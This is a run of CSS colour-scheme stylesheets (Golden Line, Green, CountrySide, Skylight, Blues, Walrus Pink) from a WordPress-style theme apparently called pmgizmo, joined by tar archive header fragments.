#footer-widgets .widget {
    background: #dce6f0;
    border: 5px solid #40b7ae;
}
#footer-widgets .widgettitle {
    background: #556270;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #627589;
	background-color: #2d3b4a;
}
/* LOL to Top */
.scrollToTop {
    background: #556270;
    border: 4px solid #444;
}
.scrollToTop:hover {
    background: #377b76;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #4c5967;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/golden.css000064400000012014152223213640012321 0ustar00/*
Predefined Colors
Theme: Golden Line
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #E2DCC8;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #158919;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #007e05;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #007e05;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #00624B;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #015bae;
	border-top: 1px solid rgba(255, 255, 255, 0.2);
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #08638D;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid rgba(255, 255, 255, 0.2);
}
/* Search */
.search-form-top {
    background-color: #886800;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #039208;
}
/* Main Navigation */
#navi-wrap {
	background: #886800;
	border-bottom: 4px solid #D4B240;
}
.natty #navi-wrap {
	background: #886800;
	border-top: 3px solid #D4B240;
	border-bottom: 3px solid #D4B240;
}
.stickynav {
	background: #886800;
	border-top: 2px solid #D4B240;
	border-bottom: 2px solid #D4B240;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #dab53f;/* For WebKit (Safari, Chrome, etc) */
    background: #dab53f -webkit-gradient(linear, left top, left bottom, from(#80630B), to(#dab53f)) no-repeat;/* Mozilla,Firefox/Gecko */
    background: #dab53f -moz-linear-gradient(top, #80630B, #dab53f) no-repeat;/* IE 5.5 - 7 */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#80630B, endColorstr=#dab53f) no-repeat;/* IE 8 */
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#80630B, endColorstr=#80630B)" no-repeat;
}
.header-line {
	border-top: 15px solid #745A08;
	border-bottom: 1px solid #977A22;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #00624B;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #f7f7f7;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #886800;
	border: 1px solid #886800;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
    background-color: #957821;/* For WebKit (Safari, Chrome, etc) */
    background: #957821 -webkit-gradient(linear, left top, left bottom, from(#775E10), to(#957821)) no-repeat;/* Mozilla,Firefox/Gecko */
    background: #957821 -moz-linear-gradient(top, #775E10, #957821) no-repeat;/* IE 5.5 - 7 */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#775E10, endColorstr=#957821) no-repeat;/* IE 8 */
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#775E10, endColorstr=#775E10)" no-repeat;
	border-top: 5px solid #D4B240;
}
#footer-widgets .widget {
    background: #F7F1E0;
    border: 5px solid #D4B240;
}
#footer-widgets .widgettitle {
    background: #775E10;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #BC9727;
	background-color: #3C2E00;
}
/* LOL to Top */
.scrollToTop {
    background: #886800;
    border: 4px solid #624B00;
}
.scrollToTop:hover {
    background: #008868;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #021935;
}
#header-banner .widget {
	padding: 0;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #886800;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/colors.css000064400000000101152223213640012344 0ustar00/*
Color Styles
------------------------------------------- */


pmgizmo/css/styles/green.css000064400000014177152223213640012165 0ustar00/*
Predefined Colors
Theme: Green
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active{
    color: #1079c9;
}
/* Body */
body {
    background-color: #d0d0d0;
}
#wrapper,
.wide-header #wrap {
    -webkit-box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
    box-shadow: 0 5px 10px 2px rgba(158, 158, 158, 0.5);
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #234DA4;
    background: #5684E4 -webkit-gradient(linear, left top, left bottom, from(#234DA4), to(#5684E4)) no-repeat;
    background: #5684E4 -moz-linear-gradient(top, #234DA4, #5684E4) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#234DA4, endColorstr=#5684E4) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#234DA4, endColorstr=#5684E4)" no-repeat;
}
.natty #header-wrap {
    border-top: 1px solid #305BB3;
}
.header-line {
    border-top: 15px solid #092a39;
    border-bottom: 1px solid #2e60ca;
}
.natty .header-line {
    border-top: none;
    border-bottom: 1px solid #2e60ca;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #B23600;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #f9f9f9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #1b3c82;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    color: #fff;
    background: #8D5F00;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #1a3773;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
    color: #fff;
    background: #3B5998;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #8D5F00;
}
/* Search */
.search-form-top {
    background-color: #fff;
}
/* Main Navigation */
#navi-wrap,
.natty #navi-wrap,
.stickynav {
    background: #458327;
    border-top: 2px solid #599b3a;
    border-bottom: 2px solid #599b3a;
}
.stickynav {
    border-top: 1px solid #599b3a;
    border-bottom: 1px solid #599b3a;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #8D002E;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #8D002E;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #002e8d;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
    background-color: #8D002E;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#footer-widgets .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #458327;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
    background: #458327;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #1B3C82;
}
.search-form .search-submit,
#commentform #submit {
    background: #458327;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #275D0E;
    border-top: 0.5em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widget {
    background: #234DA4;
    border: 0.4em solid rgba(0, 0, 0, 0.2);
}
#footer-widgets .widgettitle {
    padding: 0.55em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(255, 255, 255, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #f9f9f9;
}
/* Footer */
#footer {
    border-top: 1px solid #25570c;
    background: #123600;
}
/* LOL to Top */
.scrollToTop {
    background: #3d3d3d;
}
.scrollToTop:hover {
    background: #3B5998;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
        border-bottom: none;
    }
    #header #navi-wrap {
        border: none;
    }
    #header ul.nav-menu {
        background: #458327;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #1273ac;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #458327;
    }
}pmgizmo/css/styles/countryside.css000064400000012573152223213640013433 0ustar00/*
Predefined Colors
Theme: CountrySide
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #014f20;
}
/* Body */
body {
    background-color: #dee5e9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #5ca004;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #006428;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #579705;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #006428;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #00230e;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #006428;
}
/* Search */
.search-form-top {
    background-color: #5ca004;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #006428;
}
/* Main Navigation */
#navi-wrap {
	background: #006428;
	border-top: none;
	border-bottom: 4px solid #075326;
}
.natty #navi-wrap {
	background: #006428;
	border-top: 3px solid #065425;
	border-bottom: 3px solid #01431b;
}
.stickynav {
	background: #006428;
	border-top: 2px solid #01431b;
	border-bottom: 2px solid #01431b;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #00401a;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #00230e;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #00401a;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #0e4424;
    background: #60bb85 -webkit-gradient(linear, left top, left bottom, from(#0e4424), to(#60bb85)) no-repeat;
    background: #60bb85 -moz-linear-gradient(top, #0e4424, #60bb85) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#0e4424, endColorstr=#60bb85) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#0e4424, endColorstr=#60bb85)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #1ca253;
}
.header-line {
	border-top: 15px solid #073f1d;
	border-bottom: 1px solid #0f7638;;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #006428;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #a4c2b9;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #5ca004;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #5ca004;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #006428;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #09276a;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background: #001239;
}
/* LOL to Top */
.scrollToTop {
	background: #096e31;
}
.scrollToTop:hover {
    background: #109645;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #006428;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #00401a;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #00230e;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #5ca004;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #006428;
	}
}pmgizmo/css/styles/skylight.css000064400000013612152223213640012714 0ustar00/*
Predefined Colors
Theme: Skylight
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
}
/* Body */
body {
    background: #d6ceb8;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #4e5e67;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #32393c;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #4d5a61;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #121212;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #09658e;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #121212;
}
/* Search */
.search-form-top {
    background-color: #4e5e67;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #32393c;
}
/* Main Navigation */
#navi-wrap {
	background: #32393c;
	border-top: none;
	border-bottom: 4px solid #358cb4;
}
.stickynav,
.natty #navi-wrap {
	background: #32393c;
	border-top: 3px solid #63727b;
	border-bottom: 3px solid #63727b;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #121212;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #01374e;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #121212;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #121212;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #085c81;
    background: #5dc6f6 -webkit-gradient(linear, left top, left bottom, from(#085c81), to(#5dc6f6)) no-repeat;
    background: #5dc6f6 -moz-linear-gradient(top, #085c81, #5dc6f6) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#085c81, endColorstr=#5dc6f6) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#085c81, endColorstr=#5dc6f6)" no-repeat;
}
.header-line {
	border-top: 15px solid #001219;
	border-bottom: 1px solid #0e75a2;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #32393c;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #369dcc;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #09638a;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #09638a;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #085c81;
    background: #45afdf -webkit-gradient(linear, left top, left bottom, from(#085c81), to(#45afdf)) no-repeat;
    background: #45afdf -moz-linear-gradient(top, #085c81, #45afdf) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#085c81, endColorstr=#45afdf) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#085c81, endColorstr=#085c81)" no-repeat;
	border-top: 5px solid #085c81;
}
.natty #header-wrap {
	border-top: 1px solid #11698f;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #414b50;
}
#footer-widgets .widgettitle {
    background: #32393c;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul,
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #576267;
	background: #32393c;
}
/* LOL to Top */
.scrollToTop {
    background: #02385e;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #32393c;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #155e7e;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #01374e;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #63727b;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #32393c;
	}
}pmgizmo/css/styles/blues.css000064400000012567152223213640012200 0ustar00/*
Predefined Colors
Theme: Blues
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
}
/* Body */
body {
    background-color: #bdcfdc;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #0c1e2b;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #118ae5;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #153043;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #118ae5;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #0c1e2b;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #118ae5;
}
/* Search */
.search-form-top {
    background-color: #0c1e2b;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #118ae5;
}
/* Main Navigation */
#navi-wrap {
	background: #118ae5;
	border-top: none;
	border-bottom: 4px solid #0c6bb3;
}
.natty #navi-wrap {
	background: #118ae5;
	border-top: 2px solid #1a7ec9;
	border-bottom: 2px solid #0d78ca;
}
.stickynav {
	background: #118ae5;
	border-top: 2px solid #0c6bb3;
	border-bottom: 2px solid #0c6bb3;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #045694;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #012f52;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #045694;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #0a64aa;
    background: #79c7ff -webkit-gradient(linear, left top, left bottom, from(#0a64aa), to(#79c7ff)) no-repeat;
    background: #79c7ff -moz-linear-gradient(top, #0a64aa, #79c7ff) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#0a64aa, endColorstr=#79c7ff) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#0a64aa, endColorstr=#79c7ff)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #2283cf;
}
.header-line {
	border-top: 15px solid #053d6c;
	border-bottom: 1px solid #187ac1;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #118ae5;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #77b6e6;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #0c1e2b;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #0c1e2b;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #118ae5;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #022c49;
	border-top: 5px solid #4681b2;
}
#footer-widgets .widget {
    background: #bdcfdc;
    border: 5px solid #4681b2;
}
#footer-widgets .widgettitle {
    background: #0c1e2b;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background: #011b2e;
}
/* LOL to Top */
.scrollToTop {
    background: #022C49;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #118ae5;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #045694;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #012f52;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #0c1e2b;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #234f85;
	}
}pmgizmo/css/styles/walruspink.css000064400000011451152223213640013254 0ustar00/*
Predefined Colors
Theme: Walrus Pink
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #F2E1E7;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #25020f;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #170009;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #272727;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #9e1e4c;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
